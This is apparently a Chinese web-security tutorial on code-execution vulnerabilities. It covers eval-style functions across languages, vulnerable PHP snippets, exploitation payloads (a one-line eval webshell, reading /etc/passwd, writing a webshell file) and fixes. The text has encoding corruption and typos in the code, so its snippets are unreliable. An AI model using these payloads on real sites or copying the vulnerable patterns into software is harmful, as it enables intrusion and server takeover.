代碼執(zhí)行漏洞的成因:
應用程序在調(diào)用一些能夠?qū)⒆址D(zhuǎn)換為代碼的函數(shù)(如PHP中的eval)時,沒有考慮用戶是否控制這個字符串,將造成代碼執(zhí)行漏洞。
很難通過黑盒查找漏洞,大部分都是根據(jù)源代碼判斷代碼執(zhí)行漏洞。
代碼執(zhí)行相關(guān)函數(shù):
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
Java: Java中沒有php中eval函數(shù)這種直接可以將字符串轉(zhuǎn)化為代碼執(zhí)行的函數(shù),但是有反射機制,并且有各種基于反射機制的表達式引擎,如:OGNL、SpEL、MVEL等,這些都能造成代碼執(zhí)行漏洞。
代碼執(zhí)行漏洞的案例:
1. 可控點為待執(zhí)行的程序。
<?php
$data = $_GET[‘data’];
eval (“\$ret = $data;”);
echo $ret;
?>
使用:直接傳入我們想要執(zhí)行的PHP代碼。
2. 可控點某函數(shù)的參數(shù)值且被單引號包裹。
<?php
??? $data = $_GET[‘data’];
??? eval (“\$ret = strtolower(‘$data’);”);
??? echo $ret;
?>
使用:必須先閉合單引號。
Pl:’);所需函數(shù);//
[if !supportLists]3.?[endif]可控點某函數(shù)的參數(shù)值且被雙引號包裹。
<?php
??? $data = $_GET[‘data’];
??? eval (“\$ret = strtolower(“\’’$_data\”);”);
??? echo $ret;
?>
Pl: ??{${所需函數(shù)}}
“);所需函數(shù);//
在PHP中,雙引號里面如果包含有變量,PHP解釋器會將其替換為變量解釋后的結(jié)果;單引號中的變量不會被處理。
4. preg_replace()+/e(PHP版本<5.5.0)
<?php
??? $data = $_GET[‘data’];
??? preg_repalce(‘/<data>(.*)<\ /data>/e’, ’$ret=”\\1”;’?$data);
??? echo $ret;
?>
{${所需函數(shù)}}</data>
代碼執(zhí)行漏洞的利用:
一句話木馬
${@eval($_POST[1])}
獲取當前工作路徑
${exit(print(getcwd()))}
使用菜刀
讀文件
${exit(var_dump(file_get_contents($_POST[f])))}
f=/etc/passwd
使用post提交數(shù)值 f=/etc/passwd
寫webshell
${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
f=1.php&d=1111111
同樣使用post
代碼執(zhí)行漏洞修復方案:
??? 對于eval()函數(shù)一定要保證用戶不能輕易接觸eval參數(shù)或者用正則嚴格判斷輸入的數(shù)據(jù)格式。
??? 對于字符串一定要使用單引號包裹可控代碼,并且插入前進行addslashes
??? 對于preg_replace放棄使用e修飾符.如果必須要用e修飾符,請保證第二個參數(shù)中,對于正則匹配出的對象,用單引號包裹。